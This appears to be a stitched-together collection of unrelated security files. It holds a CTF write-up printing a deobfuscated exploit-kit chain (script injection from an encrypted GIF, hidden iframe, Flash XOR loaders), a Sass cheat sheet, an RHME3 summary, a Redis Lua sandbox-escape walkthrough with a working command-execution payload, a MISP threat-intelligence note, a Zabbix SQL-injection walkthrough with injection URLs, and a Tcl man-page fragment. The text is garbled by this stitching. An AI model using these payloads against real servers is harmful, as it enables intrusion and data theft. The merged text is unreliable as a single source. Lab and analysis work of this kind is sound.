var _local6:String = (((_local4.toString() + _local3.toString()) + _local5.toString()) + _local2.toString());
var _local7:ByteArray = (new this.lIIl11l() as ByteArray);
var _local8:ByteArray = lI11lI.l1l1lI(_local7, _local6);
this.removeEventListener(Event.ADDED_TO_STAGE, this.init);
var _local9 = "flash.display.Loader";
var _local10:Class = (getDefinitionByName(_local9) as Class);
var _local11:Loader = new (_local10)();
_local11.loadBytes(_local8);
addChild(_local11);
}
}
}//package tmctf
package tmctf {
import mx.core.*;
public class Main_lIIl11l extends ByteArrayAsset {
}
}//package tmctf
package tmctf {
import flash.utils.*;
public class lI11lI {
public static function l1I1lI(_arg1:int):String{
var _local2 = "";
if (_arg1 == 1){
_local2 = "6l.6o3a3d63.B3.y6t263.e5s6";
};
if (_arg1 == 2){
_local2 = "2a.7d6d6.C23h3i.34l6d6";
};
if (_arg1 == 3){
_local2 = "2r4.e6m3.o4v63e3E4v6e3n5t3L6.i3s6t3.4e6n4e3r6";
};
if (_arg1 == 4){
_local2 = "6w3.4r7..i4t6e4.B6y.3t43e5";
};
if (_arg1 == 5){
_local2 = "6p6.3o6s4i6t4i6.o6n";
};
if (_arg1 == 8){
_local2 = "6l2e6n6.g4t4.3h6";
};
if (_arg1 == 9){
_local2 = "3c6h4a..36r34C6o6d34e6A.43t6";
};
return (_local2.replace(new RegExp("[(1)\\(2)\\(3)\\(4)\\(5)\\(6)\\(7)\\(8)\\(9)\\(0)\\.]", "g"), ""));
}
public static function l1l1lI(_arg1:ByteArray, _arg2:String):ByteArray{
var _local9:int;
var _local3:* = 0;
var _local4:ByteArray = new ByteArray();
var _local5:String = l1I1lI(4);
var _local6:String = l1I1lI(5);
var _local7:String = l1I1lI(8);
var _local8:String = l1I1lI(9);
_local3 = 0;
while (_local3 < _arg1[_local7]) {
if (_local3 > (_arg2[_local7] - 1)){
_arg2 = (_arg2 + _arg2);
};
_local9 = (_arg1[_local3] ^ _arg2[_local8](_local3));
var _local10 = _local4;
_local10[_local5](_local9);
_local3++;
};
_local4[_local6] = 0;
return (_local4);
}
}
}//package tmctf
```
Obfuscation here was taken to another level - for example, strings are ovbfuscated (quite simply - function l1I1lI removes every digit from string, so for example "6l.6o3a3d63.B3.y6t263.e5s6" changes to "loadBytes"), and function and attribute accesses are obfusacated (for example xxx.length is changed to xxx['length'], and with both techniques combined, to xxx[l1I1lI("6l2e6n6.g4t4.3h6")].
After all, main loop is xoring blob extracted from resources with key (key is equal to getA() + getB() + getC() + getD() from previous stage).
I did it (after rewriting core to python), and I get... another swf. So I decompiled it, again... And that's what I get:
```actionscript
YOLO = function() {
var vrsntk = "Akstoniskrov";
var aeiVra = "saKrXVoiceda";
var createTi = "wisTtentgaoemric";
var mLtoonq = "qdnpokostELim";
var getDate = "TettnagDotmeig";
var getMonth = "ahsttnnogMotmeig";
var toString = "BgknUimrPtXSloot";
var length = "IhntAgenSeol";
var fromCharCode = "teodSotCrrianhgCFmroormf";
var eval = "Sloarvee";
function Main()
{
var currDate = new Date();
var someConst = 1862628783;
var mnth = currDate[this.gs(getMonth)]();
var dayy = currDate[this.gs(getDate)]();
var modCurrMonth = 2;
var modCurrDay = 30;
var cheeeck = someConst[this.gs(toString)](2)[this.gs(length)] - 1;
if(modCurrMonth * modCurrDay != cheeeck * 2)
{
console.log(modCurrMonth);
console.log(modCurrDay);
console.log(cheeeck * 2);
console.log('nope');
//return;
}
var arrWIthData = [122,109,126,44,104,109,120,109,49,46,66,93,98,(..........a lot of numbers.........),60,46,50,43,37,55];
var resultxx = "";
var getChrCode = this.gs(fromCharCode);
var indexl = 0;
while(indexl < arrWIthData.length)
{
resultxx = resultxx + String[getChrCode](arrWIthData[indexl] ^ modCurrMonth + 1 ^ modCurrDay);
indexl++;
}
ej(resultxx,this.gs(eval));
}
function ej(param1, param2)
{
console.log(param2);
console.log(param1);
return;
var _loc3_ = null;
var _loc4_ = NaN;
var _loc5_ = null;
if(ExternalInterface.available)
{
_loc3_ = "s";
_loc5_ = "n" + _loc3_;
_loc5_ = "n" + _loc3_;
return ExternalInterface.call(param2,param1);
}
return "";
}
function gs(param1)
{
var _loc2_ = "";
var _loc3_ = param1.length;
while(_loc3_ > 0 / 2)
{
_loc2_ = _loc2_ + param1["charAt"](_loc3_ - 1);
_loc3_ = _loc3_ - 2;
}
return _loc2_;
}
Main()
}
YOLO()
```
This is code after *serious* deobfuscation - originally all names was obfuscated and there were no human-readable strings. As you can see, data is encrypted with current data, but luckili there was another check - month * day == 50 - that reduced number of possibilities to check to only few. Thanks to this, I could check every possibility by hand, and I got this:
```javasctipt
var data="NQn5pSETMmg6ysiZ7M7kImT1fb0cNrAV3cutq3Ht17idKv4......"
var key="nky";
var str=window.atob(data);
var s=[], j=0, x, res='';
for (var i=0; i<256; i++) {s[i]=i;};for (i=0; i<256; i++) {j=(j+s[i]+key.charCodeAt(i % key.length)) % 256;
x=s[i];s[i]=s[j];s[j]=x;};
i=0;j=0;for (var y=0; y<str.length; y++) {i=(i+1) % 256;j=(j+s[i]) % 256;x=s[i];s[i]=s[j];s[j]=x;res += String.fromCharCode(str.charCodeAt(y) ^ s[(s[i]+s[j]) % 256]);};
document.write('<img src="data:image/gif;base64,'+res+'" width="0" height="0">');
```
This code is after minimal deobfuscation. I had problems with executing this code (it showed me empty page and nothing more), but luckily friend from team executed this code and volia, we get the flag:

###PL version
Wchodzimy na stronę na której na pierwszy rzut oka nic nie ma (pseudo-blog). Rzuca się w oczy jedynie jakiś javascript na dole strony (nazwany "ads.js"). Po deobfuskacji wyglądał mniej więcej tak:
```javascript
var mnt = function() {
window.host = location.host;
window.scheme = 'http://';
window.getLicenseUrl = function() {
console.log('getting lic url')
var ax = document.getElementsByTagName('img');
for (var i = 0; i < ax.length; i++) {
if (-1 < ax[i].src.indexOf(host)) {
return "http://" + host + "/images/creature.html?adv=900485&o=7927932&m=844431838&creature=629999&yf=INfzIJzt9bRSOkjD&click=${CLICK_URL_ENC}&type=js&pub=openxnat_1569894390&ord=1450370740864";
}
}
};
callbackOnLoad = function() {
console.log('callback');
var ax = xtr.responseText,
mn = '/1/',
cm = '%';
var data = unescape(ax.substr(3 + ax.indexOf(mn)).replace(/[\S]{3}/g, function(b) {
return cm + String.fromCharCode(b.charCodeAt(1) ^ ((scheme.length+1) * 6)) + b[2];
}));
var sta = document.createElement('sc' + 'rip' + 't');
sta.innerHTML = data;
document.body.appendChild(sta);
};
licenseRequest = function(command) {
try {
console.log('lic request');
new ActiveXObject(command).GetLicenseFromURL([], getLicenseUrl().replace(scheme, 'http://'))
} catch (et) {
return et.number + ''
}
};
suspicious = function() {
with (xtr = (window.XDomainRequest && (new XDomainRequest) || (new XMLHttpRequest)))
open('get', scheme + host + '/images/9J2bkcUJHUTTnOmcd56DXVmz.gif' + '?t=' + (new Date).getTime() + '&id=M8XIgp9526a9'), onload = callbackOnLoad, send()
};
document.security && 1 && suspicious();
};
mnt();
```
Były jeszcze mniej ciekawe fragmenty, oraz sprawdzanie licencji przy pomocy funkcji `licenseRequest` (które wyciąłem żeby przejść dalej). Swoją drogą, kod miał szanse zadziałać tylko na IE (z uwagi na użycie ActiveXObject).
Tak czy inaczej, widać że ostatecznie tworzony jest element script, do którego są wrzucane jakieś zdeszyfrowane dane (pobierane z jakiegoś gifa), i który jest dorzucany do kodu strony i wykonywany.
Najpierw próbowałem ręcznie przepisać odszyfrowanie tych danych do pythona (co nie było trudne), ale po chwili zdecydowałem się na prostsze rozwiązanie - po prostu podmieniłem linijkę `sta.innerHTML = data` na `console.log(data)`.
Dzięki temu przeszliśmy do drugiego stage.
Wyglądał on mniej-więcej tak:
```javascript
function getA(key) {
return "3789d132";
}
function getB(key) {
return "111780a7";
}
function getC(key) {
return "fbff29";
}
function getD(key) {
return "b2914faca2";
}
function main(func, idToProcess) {
func(idToProcess)
}
var LvPmn, BisnmljH, window, JEUMZ;
gWRqmBVp = 'd';
var realMain =
(function(idToProcess) {
TOu8g = kode;
UA = 'asdfasdfasdf';
if ((/(MSIE\ [0-7]\.\d+)/).test(UA)) {
TOu8g = TOu8g.slice(0, -1);
}
TOu8g = TOu8g['replace'](/\s/g, '');
plZla = kfSH(TOu8g, LvPmn);
delete TOu8g;
TOu8g = "";
eval(plZla);
});
LvPmn = 'oXUX5XqXRXoXGXfX';
function kfSH(YP, sr4ze) {
var YLvEoLp = "";
for (var i = 0; i < YP.length / 16; i++) {
var HQDBqAdIqAP = RZTN(YP.substr((i*16), (i+1)*16), sr4ze);
YLvEoLp += uyGi(parseInt(HQDBqAdIqAP.substr(8,8),16)) + uyGi(parseInt(HQDBqAdIqAP.substr(0,8),16));
}
return unescape(YLvEoLp);
}
function RZTN(SKOx, GHk7) {
ret = "";
for (var i = 0; i < SKOx.length; i+=2) {
ret += (parseInt(SKOx.charAt(i) + SKOx.charAt(i+1), 16) ^ GHk7.charCodeAt(i)).toString(16);
}
return ret;
}
function tPC(nojMia) {
var SKOx = nojMia.charCodeAt(0) + (nojMia.charCodeAt(1) << 8) + (nojMia.charCodeAt(2) << 16) + (nojMia.charCodeAt(3) << 24);
return isNaN(SKOx) ? 0 : SKOx;
}
function uyGi(SKOx) {
var nojMia = String.fromCharCode(SKOx & 255, SKOx >> 8 & 255, SKOx >> 16 & 255, SKOx >> 24 & 255);
return nojMia;
}
main(realMain, 'oU5qRoGfenAszlAOKYBE')
```
To kod już po mojej częściowej deobfuskacji (zmiana nazw kilku funkcji, beautifikacja, etc) i wycięciu checków. Tutaj podobnie jak w poprzednim przypadku, wystarczyło wyciąć kilka checków i dodać `console.log(plZla)` zamiast `eval(plZla)`.
Dzięki temu otrzymałem kolejny stage.
```javascript
if (document.referrer != "") {
var iframe = document.createElement("iframe");
iframe.src = "depress-choose-opportunity-staircase.html";
iframe.frameBorder = 0;
iframe.width = "1";
iframe.height = "1";
document.body.appendChild(iframe);
};
```
(To kod po deobfuskacji). Jak widać, po prostu tworzony jest iframe w który wstrzykiwane jest `depress-choose-opportunity-staircase.html`.
Co znajudje się pod tym adresem?
Mniej więcej taki kod:
```javascript
window['gWRqmBVp'] = '1';
function xWait(xT) {
var date = new Date();
var tmpDate = null;
do {
tmpDate = new Date();
} while (tmpDate - date < xT);
}
function xTrueA() {
if (navigator.userAgent.indexOf('TMCTF') == -1 && navigator.appVersion.indexOf('ctf/') == -1) {
return;
}
if (!!window.__IE_DEVTOOLBAR_CONSOLE_COMMAND_LINE || ('__BROWSERTOOLS_CONSOLE_SAFEFUNC' in window)) {
return;
}
var mirtul = '1',
ci = 'clsid:';
var txt = '<object classid="' + ci + 'd27cdb6e-ae6d-11cf-96b8-444553540000" allowScriptAccess="always" width="1" height="1" id="23kjsdf">';
txt = txt + '<param name="movie" value="swf/YWxUdHVpZm9uaQbmV6dndo.swf" />';
txt = txt + '<param name="play" value="true"/>';
txt = txt + '<param name="FlashVars" value="a=' + getA("EkRlsOP") + '&b=' + getB("KslLNbQsY") + '&c=' + getC("MpRuyAZx") + '&d=' + getD("QetIoPZ") + '" />';
txt = txt + '<!--[if !IE]>-->';
txt = txt + '<object type="application/x-shockwave-flash" data="swf/YWxUdHVpZm9uaQbmV6dndo.swf" allowScriptAccess=always width="1" height="1">';
txt = txt + '<param name="movie" value="swf/YWxUdHVpZm9uaQbmV6dndo.swf" />';
txt = txt + '<param name="play" value="true"/>';
txt = txt + '<param name="FlashVars" value="a=' + getA("EkRlsOP") + '&b=' + getB("KslLNbQsY") + '&c=' + getC("MpRuyAZx") + '&d=' + getD("QetIoPZ") + '" />';
txt = txt + '<!--<![endif]-->';
txt = txt + '<!--[if !IE]>--></object><!--<![endif]-->';
txt = txt + '</object>';
try {;
} catch (e) {}
document.getElementsByTagName("q")[2].innerHTML = txt;
}
xTrueA();
xWait(1200);
```
(To kod po deobfuskacji. Jak widać, jest wstrzykiwany *kolejny* javascript. Znowu jakieś checki (które wyciąłem), a ostatecznie tworzony jest jakiś `<object>` zawierający flasha.
Pobrałem więc tego flasha i zdekompilowałem. Najciekawszy fragment poniżej:
```actionscript
package tmctf {
import flash.events.*;
import flash.utils.*;
import flash.display.*;
public class Main extends Sprite {
private var lIIl11l:Class;
public function Main(){
this.lIIl11l = Main_lIIl11l;
super();
if (stage){
this.init();
} else {
addEventListener(Event.ADDED_TO_STAGE, this.init);
};
}
private function init(_arg1:Event=null):void{
var _local2:Object = LoaderInfo(this.root.loaderInfo).parameters.a;
var _local3:Object = LoaderInfo(this.root.loaderInfo).parameters.b;
var _local4:Object = LoaderInfo(this.root.loaderInfo).parameters.c;
var _local5:Object = LoaderInfo(this.root.loaderInfo).parameters.d;
var _local6:String = (((_local4.toString() + _local3.toString()) + _local5.toString()) + _local2.toString());
var _local7:ByteArray = (new this.lIIl11l() as ByteArray);
var _local8:ByteArray = lI11lI.l1l1lI(_local7, _local6);
this.removeEventListener(Event.ADDED_TO_STAGE, this.init);
var _local9 = "flash.display.Loader";
var _local10:Class = (getDefinitionByName(_local9) as Class);
var _local11:Loader = new (_local10)();
_local11.loadBytes(_local8);
addChild(_local11);
}
}
}//package tmctf
package tmctf {
import mx.core.*;
public class Main_lIIl11l extends ByteArrayAsset {
}
}//package tmctf
package tmctf {
import flash.utils.*;
public class lI11lI {
public static function l1I1lI(_arg1:int):String{
var _local2 = "";
if (_arg1 == 1){
_local2 = "6l.6o3a3d63.B3.y6t263.e5s6";
};
if (_arg1 == 2){
_local2 = "2a.7d6d6.C23h3i.34l6d6";
};
if (_arg1 == 3){
_local2 = "2r4.e6m3.o4v63e3E4v6e3n5t3L6.i3s6t3.4e6n4e3r6";
};
if (_arg1 == 4){
_local2 = "6w3.4r7..i4t6e4.B6y.3t43e5";
};
if (_arg1 == 5){
_local2 = "6p6.3o6s4i6t4i6.o6n";
};
if (_arg1 == 8){
_local2 = "6l2e6n6.g4t4.3h6";
};
if (_arg1 == 9){
_local2 = "3c6h4a..36r34C6o6d34e6A.43t6";
};
return (_local2.replace(new RegExp("[(1)\\(2)\\(3)\\(4)\\(5)\\(6)\\(7)\\(8)\\(9)\\(0)\\.]", "g"), ""));
}
public static function l1l1lI(_arg1:ByteArray, _arg2:String):ByteArray{
var _local9:int;
var _local3:* = 0;
var _local4:ByteArray = new ByteArray();
var _local5:String = l1I1lI(4);
var _local6:String = l1I1lI(5);
var _local7:String = l1I1lI(8);
var _local8:String = l1I1lI(9);
_local3 = 0;
while (_local3 < _arg1[_local7]) {
if (_local3 > (_arg2[_local7] - 1)){
_arg2 = (_arg2 + _arg2);
};
_local9 = (_arg1[_local3] ^ _arg2[_local8](_local3));
var _local10 = _local4;
_local10[_local5](_local9);
_local3++;
};
_local4[_local6] = 0;
return (_local4);
}
}
}//package tmctf
```
Tutaj obfuskacja poziom wyżej - np. stringi są obfuskowane (w prosty sposób - funkcja l1I1lI usuwa po prostu wszystkie cyfry ze stringa, czyli np. "6l.6o3a3d63.B3.y6t263.e5s6" zamienia się w "loadBytes"), oraz wywołania funkcji
i odwołania do atrybutów są obuskowane (np. xxx.length jest zamieniane na xxx['length'], a po połączeniu obu technik na xxx[l1I1lI("6l2e6n6.g4t4.3h6")].
Tak czy inaczej, ostatecznie główna pętla wykonuje xorowanie bloba wyciągniętego z resourców z kluczem (klucz jest równy getA() + getB() + getC() + getD() z poprzedniego stage).
Wykonałem to samo, i otrzymałem... kolejny swf. Zdekompilowałem i jego;
```actionscript
YOLO = function() {
var vrsntk = "Akstoniskrov";
var aeiVra = "saKrXVoiceda";
var createTi = "wisTtentgaoemric";
var mLtoonq = "qdnpokostELim";
var getDate = "TettnagDotmeig";
var getMonth = "ahsttnnogMotmeig";
var toString = "BgknUimrPtXSloot";
var length = "IhntAgenSeol";
var fromCharCode = "teodSotCrrianhgCFmroormf";
var eval = "Sloarvee";
function Main()
{
var currDate = new Date();
var someConst = 1862628783;
var mnth = currDate[this.gs(getMonth)]();
var dayy = currDate[this.gs(getDate)]();
var modCurrMonth = 2;
var modCurrDay = 30;
var cheeeck = someConst[this.gs(toString)](2)[this.gs(length)] - 1;
if(modCurrMonth * modCurrDay != cheeeck * 2)
{
console.log(modCurrMonth);
console.log(modCurrDay);
console.log(cheeeck * 2);
console.log('nope');
//return;
}
var arrWIthData = [122,109,126,44,104,109,120,109,49,46,66,93,98,(..........a lot of numbers.........),60,46,50,43,37,55];
var resultxx = "";
var getChrCode = this.gs(fromCharCode);
var indexl = 0;
while(indexl < arrWIthData.length)
{
resultxx = resultxx + String[getChrCode](arrWIthData[indexl] ^ modCurrMonth + 1 ^ modCurrDay);
indexl++;
}
ej(resultxx,this.gs(eval));
}
function ej(param1, param2)
{
console.log(param2);
console.log(param1);
return;
var _loc3_ = null;
var _loc4_ = NaN;
var _loc5_ = null;
if(ExternalInterface.available)
{
_loc3_ = "s";
_loc5_ = "n" + _loc3_;
_loc5_ = "n" + _loc3_;
return ExternalInterface.call(param2,param1);
}
return "";
}
function gs(param1)
{
var _loc2_ = "";
var _loc3_ = param1.length;
while(_loc3_ > 0 / 2)
{
_loc2_ = _loc2_ + param1["charAt"](_loc3_ - 1);
_loc3_ = _loc3_ - 2;
}
return _loc2_;
}
Main()
}
YOLO()
```
(Tutaj wszystko już po SPOREJ deobfuskacji - oryginalnie nie było żadnych czytelnych dla człowieka stringów, wszystkie były zaszyfrowane przy pomocy gs(). Dane były szyfrowane obecną datą, ale był na szczęście dodatkowy check - miesiąc * dzień był równy 60, co ograniczyło ilość dat do sprawdzenia do ledwo kilku. Dzięki temu mogłem ręcznie sprawdzić wszystkie, i otrzymałem kolejny stage.
```javasctipt
var data="NQn5pSETMmg6ysiZ7M7kImT1fb0cNrAV3cutq3Ht17idKv4......"
var key="nky";
var str=window.atob(data);
var s=[], j=0, x, res='';
for (var i=0; i<256; i++) {s[i]=i;};for (i=0; i<256; i++) {j=(j+s[i]+key.charCodeAt(i % key.length)) % 256;
x=s[i];s[i]=s[j];s[j]=x;};
i=0;j=0;for (var y=0; y<str.length; y++) {i=(i+1) % 256;j=(j+s[i]) % 256;x=s[i];s[i]=s[j];s[j]=x;res += String.fromCharCode(str.charCodeAt(y) ^ s[(s[i]+s[j]) % 256]);};
document.write('<img src="data:image/gif;base64,'+res+'" width="0" height="0">');
```

(kod po minimalnej deobfuskacji). Miałem minimalny problem z uruchomieniem tego (pokazywało u mnie pustą stronę), ale na szcześćie kolega z drużyny wykonał ten kod i volia, otrzymaliśmy flagę.
|
sec-knowleage
|
---
title: Sass
date: 2020-12-20 22:15:43
background: bg-[#ba6993]
label: CSS
tags:
- css
categories:
- Programming
intro: |
This is a quick reference cheat sheet that lists the most useful features of [SASS](https://sass-lang.com).
plugins:
- copyCode
---
Sass Basics
--------
### Introduction
- [Documentation](https://sass-lang.com/documentation) _(sass-lang.com)_
- [Learn X in Y minutes](https://learnxinyminutes.com/docs/sass/) _(learnxinyminutes.com)_
### Variables
```scss
$defaultLinkColor: #46EAC2;
a {
color: $defaultLinkColor;
}
```
### String interpolation
```scss
$wk: -webkit-;
.rounded-box {
#{$wk}border-radius: 4px;
}
```
### Comments
```scss
/*
Block comments
Block comments
Block comments
*/
// Line comments
```
### Mixins
```scss
@mixin heading-font {
font-family: sans-serif;
font-weight: bold;
}
h1 {
@include heading-font;
}
```
See: [Mixins](#sass-mixins)
### Nesting {.row-span-2}
```scss
.markdown-body {
a {
color: blue;
&:hover {
color: red;
}
}
}
```
#### to properties
```scss
text: {
// like text-align: center
align: center;
// like text-transform: uppercase
transform: uppercase;
}
```
### Extend
```scss
.button {
···
}
```
```scss
.push-button {
@extend .button;
}
```
### @import
```scss
@import './other_sass_file';
@import '/code', 'lists';
// Plain CSS @imports
@import "theme.css";
@import url(theme);
```
The `.sass` or `.sass` extension is optional.
Sass Mixins
------
### Parameters
```scss
@mixin font-size($n) {
font-size: $n * 1.2em;
}
```
```scss
body {
@include font-size(2);
}
```
### Default values
```scss
@mixin pad($n: 10px) {
padding: $n;
}
```
```scss
body {
@include pad(15px);
}
```
### Default variable
```scss
$default-padding: 10px;
@mixin pad($n: $default-padding) {
padding: $n;
}
body {
@include pad(15px);
}
```
Sass Color functions {.cols-2}
--------
### rgba
```scss
rgb(100, 120, 140)
rgba(100, 120, 140, .5)
rgba($color, .5)
```
### Mixing
```scss
mix($a, $b, 10%) // 10% a, 90% b
```
### Modifying HSLA
```scss
darken($color, 5%)
lighten($color, 5%)
```
```scss
saturate($color, 5%)
desaturate($color, 5%)
grayscale($color)
```
```scss
adjust-hue($color, 15deg)
complement($color) // like adjust-hue(_, 180deg)
invert($color)
```
```scss
fade-in($color, .5) // aka opacify()
fade-out($color, .5) // aka transparentize()
rgba($color, .5) // sets alpha to .5
```
### Getting individual values
#### HSLA
```scss
hue($color) // 0deg..360deg
saturation($color) // 0%..100%
lightness($color) // 0%..100%
alpha($color) // 0..1 (aka opacity())
```
#### RGB
```scss
red($color) // 0..255
green($color)
blue($color)
```
See: [hue()](http://sass-lang.com/documentation/Sass/Script/Functions.html#hue-instance_method), [red()](http://sass-lang.com/documentation/Sass/Script/Functions.html#red-instance_method)
### Adjustments
```scss
// Changes by fixed amounts
adjust-color($color, $blue: 5)
adjust-color($color, $lightness: -30%) // darken(_, 30%)
adjust-color($color, $alpha: -0.4) // fade-out(_, .4)
adjust-color($color, $hue: 30deg) // adjust-hue(_, 15deg)
```
```scss
// Changes via percentage
scale-color($color, $lightness: 50%)
```
```scss
// Changes one property completely
change-color($color, $hue: 180deg)
change-color($color, $blue: 250)
```
Supported: `$red`, `$green`, `$blue`, `$hue`, `$saturation`, `$lightness`, `$alpha`
Sass Other functions {.cols-2}
--------
### Strings
```scss
unquote('hello')
quote(hello)
```
```scss
to-upper-case(hello)
to-lower-case(hello)
```
```scss
str-length(hello world)
str-slice(hello, 2, 5) // "ello" - it's 1-based, not 0-based
str-insert("abcd", "X", 1) // "Xabcd"
```
### Units
```scss
unit(3em) // 'em'
unitless(100px) // false
```
### Numbers
```scss
floor(3.5)
ceil(3.5)
round(3.5)
abs(3.5)
```
```scss
min(1, 2, 3)
max(1, 2, 3)
```
```scss
percentage(.5) // 50%
random(3) // 0..3
```
### Misc
```scss
variable-exists(red) // checks for $red
mixin-exists(red-text) // checks for @mixin red-text
function-exists(redify)
```
```scss
global-variable-exists(red)
```
```scss
selector-append('.menu', 'li', 'a') // .menu li a
selector-nest('.menu', '&:hover li') // .menu:hover li
selector-extend(...)
selector-parse(...)
selector-replace(...)
selector-unify(...)
```
Sass Feature checks {.cols-2}
--------
### Feature check
```scss
feature-exists(global-variable-shadowing)
```
### Features
* global-variable-shadowing
* extend-selector-pseudoclass
* units-level-3
* at-error
Sass Loops
--------
### For loops
```scss
@for $i from 1 through 4 {
.item-#{$i} { left: 20px * $i; }
}
```
### Each loops (simple)
```scss
$menu-items: home about contact;
@each $item in $menu-items {
.photo-#{$item} {
background: url('#{$item}.jpg');
}
}
```
### Each loops (nested)
```scss
$backgrounds: (home, 'home.jpg'),
(about, 'about.jpg');
@each $id, $image in $backgrounds {
.photo-#{$id} {
background: url($image);
}
}
```
### While loops
```scss
$i: 6;
@while $i > 0 {
.item-#{$i} { width: 2em * $i; }
$i: $i - 2;
}
```
Sass Other features
--------
### Conditionals {.row-span-2}
```scss
@if $position == 'left' {
position: absolute;
left: 0;
}
@else if $position == 'right' {
position: absolute;
right: 0;
}
@else {
position: static;
}
```
### Interpolation
```scss
.#{$klass} { ... } // Class
call($function-name) // Functions
@media #{$tablet}
font: #{$size}/#{$line-height}
url("#{$background}.jpg")
```
### Lists
```scss
$list: (a b c);
nth($list, 1) // starts with 1
length($list)
@each $item in $list { ... }
```
### Maps {.col-span-2}
```scss
$map: (key1: value1, key2: value2, key3: value3);
map-get($map, key1)
```
|
sec-knowleage
|
# RHME3, 2018
A nice three month competition, focused on hardware and low-level
software bugs and vulnerabilities. Organizers sent an AVR XMEGA
board to each participant. It also had two CAN interfaces, for some
protocol reversing challenges. All in all, we finished at sixth place, with
2803 points and the following tasks done (in the order of solving):
- Race of a lifetime, Misc 100
- Ransom, RE 50
- Ransom 2.0, RE 150
- Unauthorized, Exp 100
- Bluetooth Device Manager, Exp 200
- Phonic Frenzy 1, Misc 100
- Car Crash, RE 500
- CAN opener, CAN 150
- Full Compromise, RE 250
- It's a Kind of Magic, SCA 200
- Climate Controller Catastrophe, Exp 750
- Back to the future, CAN 250
|
sec-knowleage
|
# Redis Lua Sandbox Escape and Remote Code Execution (CVE-2022-0543)
[中文版本(Chinese version)](README.zh-cn.md)
Redis is an open source (BSD licensed), in-memory data structure store, used as a database, cache, and message broker.
Reginaldo Silva discovered that due to a packaging issue on Debian/Ubuntu, a remote attacker with the ability to execute arbitrary Lua scripts could possibly escape the Lua sandbox and execute arbitrary code on the host.
References:
- <https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce>
- <https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1005787>
## Vulnerability Environment
Execute following command to start a redis server 5.0.7 on Ubuntu:
```
docker compose up -d
```
After server is started, you can connect to this server without credentials by `redis-cli`:
```
redis-cli -h your-ip
```
## Exploit
This vulnerability existed because the Lua library in Debian/Ubuntu is provided as a dynamic library. A `package` variable was automatically populated that in turn permitted access to arbitrary Lua functionality.
As this extended to, for example, you can use `package.loadlib` to load the modules from liblua, then use this module to execute the commands:
```lua
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("id", "r");
local res = f:read("*a");
f:close();
return res
```
Noted that you should specify a correct realpath for the `liblua` library. In this Vulhub environment (Ubuntu focal), the value is `/usr/lib/x86_64-linux-gnu/liblua5.1.so.0`.
Eval this script in redis shell:
```lua
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
```
Execute the commands successful:

|
sec-knowleage
|
# 威胁情报库建设
持续性建设模式成为了现在企业安全的一个大方向,其中情报常常成为安全建设的中心。本篇内容总总结威胁情报库建设相关内容。
让我们先来回顾一下威胁情报的定义:
> SANS:针对安全威胁、威胁者、利用、恶意软件、漏洞和危害指标、所收集的用于评估的应用**数据集**。
威胁情报的本职是一个数据集,针对数据集我们不免会发问:如何获取、如何分析、如何存储、如何共享、如何应用
建设威胁情报库主要就是要解决其中:如何生产、如何存储、如何共享的问题,如果用威胁情报的生命周期来定义,我们所需要解决的步骤有:制定情报计划,情报收集,威胁情报预处理与利用环节,威胁情报分析与生产,情报输送,威胁情报的计划优化与修订。
## MISP部署与使用
### 项目介绍
MISP(Malware Information Sharing Platform)是一个很好用的开源威胁情报源采集、存储、分发平台,为开源项目。支持的部署方式多,且与OpenCTI、TheHive等项目均有集成插件。
项目地址:https://github.com/MISP/MISP
项目文档:https://www.circl.lu/doc/misp/
### 项目部署
### 情报源整合
### 集成ES
使用filebeat的MISP模块进行情报拉取和ES导入,编写filebeat管道文件:
```yaml
filebeat.config.modules:
enabled: true
path: /modules.d/*.yml
filebeat.modules:
- module: misp
threat:
enabled: true
# API key to access MISP
var.api_key: ""
# Array object in MISP response
var.json_objects_array: "response.Attribute"
# URL of the MISP REST API
var.url: "https://misp/attributes/restSearch/last:15m"
var.http_client_timeout: 60s
var.interval: 15m
var.ssl: |-
{
verification_mode: none
}
output.elasticsearch:
hosts: ["elasticdfir01:9200"]
setup.kibana:
host: "kibana:5601"
```
## 其他方案

图:威胁情报上下游对接[1]

图:现有威胁情报库层级[1]
## 现有产品
### 开源
- [ThreatMiner](https://www.threatminer.org/)是一个威胁情报门户,旨在使威胁情报分析师能够在快速发现威胁情报。[2]
## References
\[1] 威胁情报的私有化生产和级联:威胁狩猎及情报共享, [狴犴安全团队 ], (https://www.freebuf.com/author/狴犴安全团队) https://www.freebuf.com/articles/es/222359.html
\[2] 威胁情报平台分享, [我不是大神](https://www.zhihu.com/people/asmrshe-qu), https://zhuanlan.zhihu.com/p/101978718
|
sec-knowleage
|
# zabbix latest.php SQL注入漏洞(CVE-2016-10134)
zabbix是一款服务器监控软件,其由server、agent、web等模块组成,其中web模块由PHP编写,用来显示数据库中的结果。
## 运行环境
执行如下命令启动zabbix 3.0.3:
```
docker compose up -d
```
执行命令后,将启动数据库(mysql)、zabbix server、zabbix agent、zabbix web。如果内存稍小,可能会存在某个容器挂掉的情况,我们可以通过`docker compose ps`查看容器状态,并通过`docker compose start`来重新启动容器。
## 复现漏洞
访问`http://your-ip:8080`,用账号`guest`(密码为空)登录游客账户。
登录后,查看Cookie中的`zbx_sessionid`,复制后16位字符:

将这16个字符作为sid的值,访问`http://your-ip:8080/latest.php?output=ajax&sid=055e1ffa36164a58&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0)`,可见成功注入:

这个漏洞也可以通过jsrpc.php触发,且无需登录:`http://your-ip:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)`:

## POC验证
调试中发现不用用户名和密码也可以进行sql注入,实现细节见POC。
```shell
python3 CVE-2016-10134.py -t 127.0.0.1:8080
python3 CVE-2016-10134.py --target 127.0.0.1:8080
```
|
sec-knowleage
|
'\"
'\" Copyright (c) 1993 The Regents of the University of California.
'\" Copyright (c) 1994-1996 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: lreplace.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\" Start paragraph describing an argument to a library procedure.
